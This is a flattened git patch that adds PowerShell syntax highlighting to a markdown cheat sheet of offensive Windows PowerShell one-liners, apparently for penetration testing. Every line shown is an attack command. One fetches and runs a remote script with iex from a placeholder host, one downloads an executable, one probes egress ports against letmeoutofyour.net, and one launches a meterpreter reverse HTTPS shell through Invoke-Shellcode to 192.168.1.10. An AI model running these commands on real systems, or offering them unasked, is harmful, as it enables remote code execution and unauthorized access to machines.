From 63a596e57dcf3d3857997ad66bf87a63e46fb6ac Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 2 Dec 2013 18:05:06 -0600 Subject: [PATCH] Specify PowerShell code blocks to PowerShell syntax highlighting Support PowerShell syntax. --- windows/powershell.md | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/windows/powershell.md b/windows/powershell.md index 9d63b01..f9836a1 100644 --- a/windows/powershell.md +++ b/windows/powershell.md @@ -5,17 +5,25 @@ One liners **Download and Execute Remote Powershell Script** -```iex (New-Object Net.WebClient).DownloadString("http://host/file.txt")``` +```PowerShell +iex (New-Object Net.WebClient).DownloadString("http://host/file.txt") +``` **Download and Save File** -```(new-object System.Net.WebClient).Downloadfile('http://host/file.exe', 'file.exe')``` +```PowerShell +(new-object System.Net.WebClient).Downloadfile('http://host/file.exe', 'file.exe') +``` **Enumerate Allowed Outbound Ports 1-1024** -```$ErrorActionPreference = "silentlycontinue"; 1..1024 | % {$req = [System.Net.WebRequest]::Create("http://letmeoutofyour.net:$_"); $req.Timeout = 600; $resp = $req.GetResponse(); $respstream = $resp.GetResponseStream(); -$stream = new-object System.IO.StreamReader $respstream; $out = $stream.ReadToEnd(); if ($out.trim() -eq "w00tw00t"){echo "$_ Allowed out"}}``` +```PowerShell +$ErrorActionPreference = "silentlycontinue"; 1..1024 | % {$req = [System.Net.WebRequest]::Create("http://letmeoutofyour.net:$_"); $req.Timeout = 600; $resp = $req.GetResponse(); $respstream = $resp.GetResponseStream(); +$stream = new-object System.IO.StreamReader $respstream; $out = $stream.ReadToEnd(); if ($out.trim() -eq "w00tw00t"){echo "$_ Allowed out"}} +``` **Reverse Shell Using [PowerSploit's Invoke-Shellcode](https://github.com/mattifestation/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1)** -```Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.10 -Lport 443 -Force``` \ No newline at end of file +```PowerShell +Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.10 -Lport 443 -Force +``` \ No newline at end of file